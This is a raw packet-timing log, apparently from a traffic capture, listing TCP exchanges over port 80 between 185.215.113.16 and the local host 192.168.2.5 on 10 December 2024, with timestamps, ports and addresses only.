Dec 10, 2024 05:10:20.577368021 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.577459097 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.578305006 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.578389883 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.578391075 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.578474045 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.579360008 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.579432011 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.579472065 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.579556942 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.580394983 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.580463886 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.580502987 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.580586910 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.581459045 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.581531048 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.581595898 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.581660032 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.582487106 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.582557917 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.582596064 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.582681894 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.583528042 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.583601952 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.583640099 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.583726883 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.584599972 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.584693909 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.584716082 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.584778070 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.585649014 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.585689068 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.585766077 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.585812092 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.586677074 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.586718082 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.586803913 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.586843967 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.587747097 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.587791920 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.587850094 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.587894917 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.588784933 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.588850021 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.588882923 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.588927984 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.589845896 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.589890957 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.589947939 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.589992046 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.590883017 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.590929031 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.590996981 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.591046095 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.591941118 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.591986895 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.592025042 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.592072964 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.592987061 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.593030930 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.593070984 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.593116045 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.594022989 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.594069958 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.594137907 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.594181061 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.595086098 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.595129013 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.595170021 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.595215082 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.596138954 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.596183062 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.596249104 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.596291065 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.597194910 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.597239017 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.597290993 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.597333908 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.598268986 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.598311901 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.598392010 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.598436117 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.599311113 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.599378109 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.599409103 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.599453926 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.600342035 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.600385904 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.600460052 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.600501060 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.601402998 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.601450920 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.601494074 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.601537943 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.602416039 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.602461100 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.739669085 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.739749908 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.739783049 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.739851952 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.740181923 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.740259886 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.740303040 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.740385056 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.741240978 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.741326094 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.741360903 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.741460085 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.742297888 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.742374897 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.742387056 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.742453098 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.743341923 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.743416071 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.743443012 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.743500948 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.744380951 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.744453907 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.744492054 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.744580030 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.745425940 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.745498896 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.745532990 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.745598078 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.746479034 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.746556044 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.746576071 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.746671915 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.747689009 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.747740984 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.747777939 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.747873068 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.749008894 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.749090910 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.749181032 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.749259949 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.749747038 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.749825001 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.750138998 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.750211000 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.750711918 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.750781059 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.750782013 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.750861883 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.751718044 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.751796007 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.751828909 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.751914978 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.752804041 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.752851009 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.752875090 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.752916098 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.753814936 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.753876925 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.753918886 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.753962994 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.754863024 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.754905939 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.754970074 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.755012989 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.755909920 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.755956888 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.756011009 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.756053925 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.756966114 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.757009983 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.757083893 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.757131100 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.758018017 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.758057117 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.758117914 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.758162022 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.759073973 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.759123087 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.759155035 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.759198904 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.760116100 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.760162115 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.760200977 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.760236979 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.761173010 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.761221886 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.761234999 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.761271954 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.762212038 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.762274027 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.762305975 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.762355089 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.763263941 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.763329029 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.763367891 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.763421059 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.764312029 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.764389992 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.764425993 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.764484882 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.765361071 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.765429974 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.765472889 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.765525103 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.766416073 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.766474962 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.766511917 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.766566992 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.767461061 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.767518044 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.767554998 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.767623901 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.768529892 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.768588066 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.768620968 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.768671989 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.769562960 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.769620895 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.769658089 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.769717932 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.770606995 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.770665884 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.770704985 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.770756006 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.771652937 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.771714926 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.771783113 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.771838903 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.772711039 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.772770882 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.772813082 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.772866964 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.773751974 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.773813009 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.773843050 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.773904085 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.774825096 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.774909973 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.774946928 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.775000095 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.775878906 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.775943041 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.775974035 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.776027918 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.776901007 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.776956081 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.776967049 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.777014017 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.778000116 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.778054953 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.778120995 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.778173923 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.779011011 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.779067993 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.779099941 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.779159069 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.780049086 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.780111074 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.780138969 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.780200958 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.781105995 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.781162977 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.781200886 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.781258106 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.782159090 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.782202959 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.782248020 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.782293081 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.783214092 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.783257961 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.783323050 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.783358097 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.784252882 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.784301043 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.784343958 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.784383059 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.785322905 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.785376072 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.785445929 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.785501003 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.786369085 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.786412001 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.786470890 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.786510944 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.787409067 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.787461996 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.787503958 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.787547112 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.788434982 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.788487911 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.788572073 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.788610935 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.789536953 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.789587021 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.789621115 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.789660931 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.790548086 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.790604115 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.790646076 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.790684938 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.791589975 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.791635036 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.791675091 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.791712046 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.792650938 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.792700052 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.792742014 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.792788982 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.793690920 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.793751001 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.793817997 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.793869972 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.794718027 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.794784069 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.931910038 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.931965113 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.932001114 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.932030916 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.932286978 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.932321072 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.932393074 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.932429075 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.933368921 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.933404922 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.933465004 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.933502913 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.934393883 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.934427977 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.934495926 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.934529066 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.935452938 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.935551882 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.935561895 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.935609102 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.936482906 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.936528921 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.936594009 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.936635017 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.937560081 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.937597990 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.937606096 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.937643051 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.938584089 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.938623905 CET	49855	80	192.168.2.5	185.215.113.16
